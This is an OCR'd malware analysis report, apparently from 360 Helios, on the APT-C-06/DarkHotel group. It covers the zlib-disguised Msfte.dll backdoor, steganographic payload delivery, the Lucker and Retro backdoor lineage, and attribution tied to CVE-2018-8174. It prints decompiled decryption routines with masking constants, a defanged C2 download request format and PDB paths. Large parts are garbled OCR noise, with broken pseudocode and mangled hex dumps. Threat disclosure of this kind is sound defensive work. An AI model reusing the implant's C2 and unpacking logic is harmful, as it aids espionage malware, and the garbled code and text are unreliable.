= sub_18881800(& Y;
wsprintfAa& » "if exist %\"%s\" goto Repeat 1ywrin™, ¥:
= 1strlenA{& ¥:
WriteFile( . & . . & ., B);
= sub_188816800(& ):
wsprintfA(& s DEl ATESAUARANT, uh);

Msfte.dll is the final backdoor program whose export is disguised as zlib. The core export
functions are AccessDebugTracer and AccessRetailTracer. Its main function is to communicate
with CC and further download and execute subsequent DLL programs.

Mame Address Ordinal

AccessDebugTracer SA4C1400 1
#¥| AccessRetailTracer 5A4C1430 2
adler32 5A4C23E0 3

Msrrie fidd e Cirgingl
'_:__ AccesDebug Tracer SEACLA0G 1
T cessRetailTracer SEAC1A0 3

r sdlerdd SEACI3ED

Similar to the previously analyzed sémple, it is also using image steganography and memory
reflection loading. The decrypted CC communication information is as follows:
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n 1 2 3 4 5 & 7 8 9 A B C D E F

68 http:- R
0 comssT-config.p
63 hp:http: R
72

70 .comss7-config.p
hp:pphp:

The format of the request is:
Hxxp://CC_Address /s7/config.php ?p=M&inst=7917&name=

Among them, the parameter p is the current process authority, there are two types of M and H,
inst parameter is the current installation id, name is the CC_name obtained by decryption, this

time is pphp.

if { tGetwsrsianEsnil il ot jardersion ¥ & )

v= 10EK;

[ LAEEL
]
i (7] o TTPEERARE D= PR et -
if { '*GetUersionExA(& Y 11 -duMajorUersion > 5 )
{
1strcathA( » Tp=H&inst=¥917&name="") ;
2:
1strcatn( . j
++ ;
= :
+= 1024;
goto LABEL_24;
H

strcataf . ?p=H&inst=7917&name="") ;
After decryption after downloading, the process is exactly the same as the format of the
previous image steganography transmission. The decryption process this time is shown in the

figure below:
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T W
- @) e SRR
SRR shLed + a7 - N3 "= BE1SAENAIEGD

[} L} " | H

(07 == WEEHBHE || o0 o= EIIH2HE)
(Bl = &0, 4l = @[ DA Sal 4 aF - Bk B 6 w8 6 T ==
Sab_TANCISARE_BYTE whal, w7} =m [ PO =fal + 47 - BA)
BE wab_SAACISIRGCE BVTE =f[al o af_BU0AE =p{al o =
B (a1l = madlacfe), {un1 = uiE) T= ) )
]

memcpp{ A8, {canst vald =p[al o af_DMORE =p[ai ® W, =i

ug = al;

u? = ={ DWORD =){al1 + a2 - 28});

=(_ DWORD =){ué + a2 - 8) "= Bx3ABDBGFEU;

®( DUORD =){ué + a2 - B) "= Bx1BACAS7Bu;

vl = (size_t =){al + a2 - 4};

if { (u7 == 8x23@12815 || v7 == 8x33812815)
Gf (*al = uvf, vl = ={ DWORD =)({al + a2 - 8), =u8 + vl + 20 == a2}
&& sub SALCA63B{{ BYTE =)al, v®) == ={ DWORD =){al + a2z - 16)
&& sub SA4C1638{{ BYTE =)(al + ={ DUWORD =){a1 + a2 - 8)), =ud) == = DUORD =){al + a2 - 12}
& (vi1B = malloc({=vd), (vi1 = vi@) *= @) )

{
memcpy{v18, {const void =){al + *={ DWORD =){al + vl - 8)), =u8);

The previouély decrypted test sample decryption process is shown below:

3 = af_[AAE =plai + a EE

or = gDecadeHeader =]Baf

q_Primtiag s 43 Fl -3FLaglblz

G RFINILEg T T D —ringF N1eCRC] |
g Printlag] (ks Bdd e Deed E100AL] ;
q_PrintLag cis B0 of aEnt, BEASE, 4 T
g Printleg" iy Tdd leagkh Befor et @xiSh, 3leagkh};z
sier-rafdart T= iiiiiRFEe
ol -rer e
sipr-3ipngth “= 3
o PrinTLER “Chs T4 al BT, CLETFM RS BN, M
g Printieg] ity Td3 Leagih aiter nesieg: Lo, “[xtrackCombent”, @xiSh, aleagkh};
= weanee-3Fiagiig
0§ Peader -3 lagll = BFIMBEES B o) 1= B=EIFEE ]
i

A_PElALLEGE-9Es 40 FLEG DR EreariiaT, “EalraslConlesl™, SEsE] |
retura @)
I

Header = (DecodeHeader =}&Buffer[Length - 28];
q_PrintLog{"<{%s %d> FlagID: %.8x\n", "ExtractContent™, 8x158, Header->FlagID};
q_PrintLog{"<{%s %d> imgFileCRC: %.8x%n", "ExtractContent", Bx151, Header->imgFileCRC};
q_PrintLog{"<{%s %d> exeFileCRC: %.8x\n", "ExtractContent", B8x152, Header->exeFileCRC};
q_PrintLog{"{%s %d> offset before masking: %._8x‘n", "ExtractContent', 8x153, Header->offset};
q_PrintLog{"<%s %d> length before masking: %_8x\n", "ExtractContent", 8x154, Header->length};
Header->offset “= B0x3A8D8GFEu;
Exe0ffset = Header->offset;
Header-*1length "= Bx18AC457Bu;
q_PrintLog{"{%s %d> offset after masking: %.8x\n", "ExtractContent', 82159, Exelffset);
q_PrintLog{"{%%s %d> length after masking: %.8x\n", "ExtractContent', 8x15Aa, Header->length};
u/ = Header->FlaglID;
if { Header->FlaglD *= Bx236012015 && v/ *= Bx33812815 )
1

q_PrintLog{”<{%s %d> FLAG ID Error*in", "ExtractContent, B8x15D);

return 8;

H
For the CC URL corresponding to the test request, because we did not obtain the

corresponding image during the analysis, the CC is suspected to have failed.

In the implementation process, Retro disguised fake SSH and fake zlib, intended to obfuscate
and interfere with users and analysts. Retro’s attack method has been used since 2016.

2. Retro backdoor evolvement

The back door program used in the APT-C-06 organization’s early APT operation was Lucker.
It is a set of self-developed and customized modular Trojans. The set of Trojans is powerful,
with keyboard recording, voice recording, screen capture, file capture and U disk operation
functions, etc. The Lucker ‘s name comes from the PDB path of this type of Trojan, because
most of the backdoor’s function use the LK abbreviation.
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DO003820 (0O DO OO OO 23 1D 4E 48 OO0 OD OD OO D2 OO0 OO QO | ... #.HMH........

| 00003530 (57 00 00 00 3C 36 00 00 3C 38 00 00 52 53 44 53 W...<8..<8..R35D5
00003840 S5 3E 3A SO FF E1 BS 47 96 AC 1E FO 7F D2 05 3D U :Pyrapdi-.5.0, -
00003850 01 00 00 00 65 34 SC B3 76 73 72 6F 6F 74 5C 6C  ....s:i“cwsroots]
DODO386D |75 72 6B 65 72 34 5C BC 75 72 6B 65 72 2D 64 72 | urkerd lurker-dr
00003870 69 7o 65 V2 SC 6F 62 6A o6 72 65 5F 77 32 4B SF  iversobjfre_w2F_
DODO388D (7B 38 36 S5C &9 33 38 36 SC BE 77 6C BE 6B 2E 70 | xBe“i3B6“nwlnk.p

00003890 64 62 00 00 OO0 OO0 00 OO OO OO0 OO 00 OO0 00 00 00 db.....ocavennnns
¥ LMlEmtryHoint

LKAccept
LKBind
LKCleanup
LKCloseSocket
LEConnect
LKInetAddr
LKListen
LKRecv
LKRecvFrom

In the middle to late period we have discovered its evolution and two different types of
backdoor programs. We have named them Retro and Collector by the PDB path extracted from
the program. The Retro backdoor is an evolution of the Lucker backdoor and it actives in a
series of attacks from 2016 till now. The name comes from the pdb path of this type of Trojan
with the label Retro, and also has the word Retro in the initial installer.

q_PrintLog(™<%s Ta> Start to install Betrofun™, "StartProc™, Bx298);
Istrcpyd{Dl1Hane , (LPCSTR)BUTBUFFer = 3)5
q_PrintLog(™<¥s Ta> BLL™s Mame: Ts\n™, "StartProc™, D290, DllMame);

q_PrintLog{"<%s %d> Start to install Retrot*yn", “StartProc’, Bx29B};
1strcpyA(D11Hame, (LPC3TR)OutBuffer + 3});
q_PrintLog{"<%s %d> DLL's Hame: %syn", "StartProc'", 8x29D, D1lHame};

C:\workspace\Retro\DLL-injected-explorer\zlib1.pdb
C:\workspace\Retro\RetroDLL\zlib1.pdb

The evolution of the reflective DLL injection technique can be found from the relevant PDB
paths, and there are a lot of variants of this series of backdoors.
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VIl Attribution

1. Decryption Algorithm

During the analysis, we found the decryption algorithm that malware used is identical to APT-C-
06’s decryption algorithm.

The decryption algorithm of this attack is as follow:
[ —

b & % o @ S s - [
] 1 IIIIIIIIIIIIIIIIIIIIII
W bl Faminiin [l Busmplored [ Tastrssti Banarnal spabul
T B Wk T Fsadiadern B | [T M Wi | frparia LT — ]
i
"
Fae Qo= Bp @€ afy esi )
. BLL 4 a3) = byle 18Q12S0E[ L T s8] T s( 0 1 TR
={_I =jah = a%;
return a7}
| i s ok 1 o
il & t v B & - X pmuﬂndebu“er - ':E

B Bepilar fanction Unexplored [l Instraction External symbol

:-j IDA Yiew—h _jI'l'I"JdOEOdt'JtD £| Hex View=1 _‘i_f_J:Exporl‘.: | H_Jllpurl: LEjE‘II".I
1-||n'.5||nr-|| int cdecl sub 10004800{int a1, unsigned int a2, int a3, int ah)
24

signed int i; JFf [sp+0h] [bp-&h]E1
i
5 For { 1 = B; 1 € a2; ++1 )
i] #{ HYTE =)(1 + a3d) = byte 18M250B[1 % 64] * = BYTE =)(i + al);

7| ={ DWORD =)ah = .::-;
8 return al;
1] }

The decryption algorithm APT-C-06 used is as follow:
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N = —

At e @0 bt X e OO A - %GH &

[ [ ] nmmi I

wxlar Fwciion [ Vnarplorwd I Esntirectien [ Extarmad ypebal

Eiamh viwh [ | T birsdooeied D Tten Vimri ) | Fomporta ] | Sitepein ] | T tuma

1= Ined It _ coedl Swh_MBRABBLANE a1, unslqned Int a2, 1t a3, in

8 sigeed int B3 4F [spen] (b

: For TR wal 3

' sf BVTE s){i = a3} = o BVTE =){i T &b + SwiOGaBON]  =f BE¥TF =){i * s1};

L] r:l.lll.'n i

v
I -« W
b Bt W @O detd X b OO [E e @ @
rgular Eunction [ Unexplored Ml Instruction External zymbol

(=] IDA Visw-h [ Psendocods—a ) [5] Hex View1 [ (%] Exports ] [E| Inperts ] 1= |
1junsigned int cdecl sub HBA46B{int a1, unsigned int a2, int a3, int ak)

21

3| signed int i; S/ [sp+Oh] [bp-4h]E1

L

S5 For 1= B; 1 € a?; +«i )

G #{ BYTE #){i + a3) = ={ BYTE =){i % 64 + O<10000000) ~ ={ BYTE =){i + a1);
7| ={_DUORD =}alh = a2i

8 return a?;

b

L=

In the further analysis, we found the same decryption algorithm was used in the 64-bit version
of the relevant malware.

2. PDB Path

The PDB path of the malware used in this attack has a string of “Retro”. It is one specific
feature of Retro Trojan family.

Trojan Family  Retro :

MD’E‘J **************************113b92‘:|

PDB path+ Cworkspace'\Retro\DLL-injected-explorer\zlibl. pdbs
et ek e s ey e _
POl paths e ks e Rt 0\ L - e e aplener i, it

3. Victims

In the process of tracing victims, we found one special compromised machine. It has a large
amount of malware related to APT-C-06. By looking at these samples in chronological order,
the evolution of the malicious program can be clearly seen. The victim has been under
constant attack acted by APT-C-06 since 2015. The early samples on the compromised
machine could be associated with DarkHotel. Then it was attacked by Lurker Trojan. Recently it
was under the attack exploiting 0-day vulnerabilities CVE-2018-8174.

VIl Conclusion
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APT-C-06 is an overseas APT organization which has been active for a long time. Its main
targets are China and some other countries. Its main purpose is to steal sensitive data and
conduct cyber-espionage. DarkHotel can be regarded as one of its series of attack activities.
The attacks against China specifically targeted government, scientific research institutions and
some particular field. The attacks can be dated back to 2007 and are still very active. Based on
the evidence we have, the organization may be a hacker group or intelligence agency
supported by a foreign government.

The attacks against China have never stopped over the past 10 years. The Techniques the
group uses keep evolving through time. Based on the data we captured in 2017, targets in
China are trade related institutions and concentrated in provinces that have frequent trading
activities. The group has been conducting long-term monitoring on the targets to stole
confidential data.

During the decades of cyber attacks, APT-C-06 exploits several 0-day vulnerabilities and used
complicated malware. It has dozens of function modules and over 200 malicious codes.

In April, 2018, the Advanced Threat Response Team of 360 Core Security Division takes the
lead in capturing the group’s new APT attack using 0-day vulnerabilities (CVE-2018-8174) in
the wild, and then discovers the new type attack — Office related attack exploiting 0-day
VBScript vulnerabilities.

After the capture of the new activity, we contacted Microsoft immediately and shared detailed
information with them. Microsoft’s official security patch was released on 8th May. Now, we
published this detailed report to disclose and analyze the attack.

Appendix I0C
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About

360 Helios Team is the APT(Advanced Persistent Attack) research and analysis team in Qihoo
360. The team is dedicated in APT attack investigation, threat incident response and
underground economy industrial chain studies. Since the establishment in December, 2014,
the team has successflly integrated 360’s big data base and built up a quick reversing and
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corellation procudure. So far, more than 30 APT and underground economy groups have been
discovered and revealed.

360 Helios also provides threat intelligence assessment and response solutions for enterprises.

Contact Window: 360zhuiri@360.cn
Learn more about 360 Total Security
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